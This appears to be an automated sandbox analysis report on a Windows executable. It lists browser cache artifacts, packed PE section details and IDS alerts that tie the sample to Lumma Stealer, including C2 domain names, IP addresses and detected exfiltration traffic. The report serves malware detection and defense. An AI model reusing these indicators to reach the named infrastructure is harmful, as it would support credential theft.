SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.52481317973577
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	l0zocrLiVW.exe
File size:	3'026'432 bytes
MD5:	406a2b6eebda1d06d4e6229dd8c81712
SHA1:	9777e988d8f9f9f22ced40bc0cc017c21aaaf6c0
SHA256:	d36f9284449f143a66b7cced57e0ad4c70c295626da12e594b8fd9ed248bb4b7
SHA512:	61aa7b5e906003eabe224726b07a9e668efcfe3688f22208eaafb23b2c080bf90cd0380133d8297b25a8603f992b6311c390de99e9446d459c36d01d300bb16b
SSDEEP:	24576:HnZAbTEhz/evozj2F2+yKxJXHb05KKRmtS4PyfQbK70mtM5Im+k+XFe+DvGx/gtg:HnZbQg2FR9/7LkGw0mmgDB8IB/Vlou
TLSH:	23E529A2FC0572CBD09F1674D42BCD82ACAD02B94B140DC7E86DA5BA7E63DC152B5D2C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................0...........@.......................... 1...........@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA454E80ABAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	8de95f9e4bfe42417b3c6ea140466763	False	0.9995723549836601	data	7.979301697207991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qaniytby	0x55000	0x2b9000	0x2b9000	1b16fdf8ce49b4354e69a93f0de8bd04	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ymmvwixr	0x30e000	0x1000	0x600	dbabb557ea6c39538452f8ab17c23980	False	0.5553385416666666	data	4.897796776298555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30f000	0x3000	0x2200	04f0c5dbd7964aa0409acbd436607ba7	False	0.06307444852941177	DOS executable (COM)	0.8061597032315359	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T10:03:07.052685+0100	2058582	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)	1	192.168.2.6	51491	1.1.1.1	53	UDP
2024-12-28T10:03:07.202290+0100	2058584	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)	1	192.168.2.6	58534	1.1.1.1	53	UDP
2024-12-28T10:03:07.343323+0100	2058586	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)	1	192.168.2.6	60933	1.1.1.1	53	UDP
2024-12-28T10:03:07.504942+0100	2058588	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)	1	192.168.2.6	49572	1.1.1.1	53	UDP
2024-12-28T10:03:07.668687+0100	2058580	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)	1	192.168.2.6	53802	1.1.1.1	53	UDP
2024-12-28T10:03:07.812155+0100	2058590	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)	1	192.168.2.6	53629	1.1.1.1	53	UDP
2024-12-28T10:03:07.958232+0100	2058572	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)	1	192.168.2.6	60339	1.1.1.1	53	UDP
2024-12-28T10:03:08.100368+0100	2058576	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)	1	192.168.2.6	54304	1.1.1.1	53	UDP
2024-12-28T10:03:08.244225+0100	2058578	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)	1	192.168.2.6	60531	1.1.1.1	53	UDP
2024-12-28T10:03:10.017418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	23.55.153.106	443	TCP
2024-12-28T10:03:11.222446+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49709	23.55.153.106	443	TCP
2024-12-28T10:03:12.787081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	172.67.157.254	443	TCP
2024-12-28T10:03:13.540586+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49713	172.67.157.254	443	TCP
2024-12-28T10:03:13.540586+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49713	172.67.157.254	443	TCP
2024-12-28T10:03:14.792472+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49715	172.67.157.254	443	TCP
2024-12-28T10:03:15.561568+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49715	172.67.157.254	443	TCP
2024-12-28T10:03:15.561568+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49715	172.67.157.254	443	TCP
2024-12-28T10:03:17.271458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49716	172.67.157.254	443	TCP
2024-12-28T10:03:18.564491+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49716	172.67.157.254	443	TCP
2024-12-28T10:03:19.907328+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49723	172.67.157.254	443	TCP
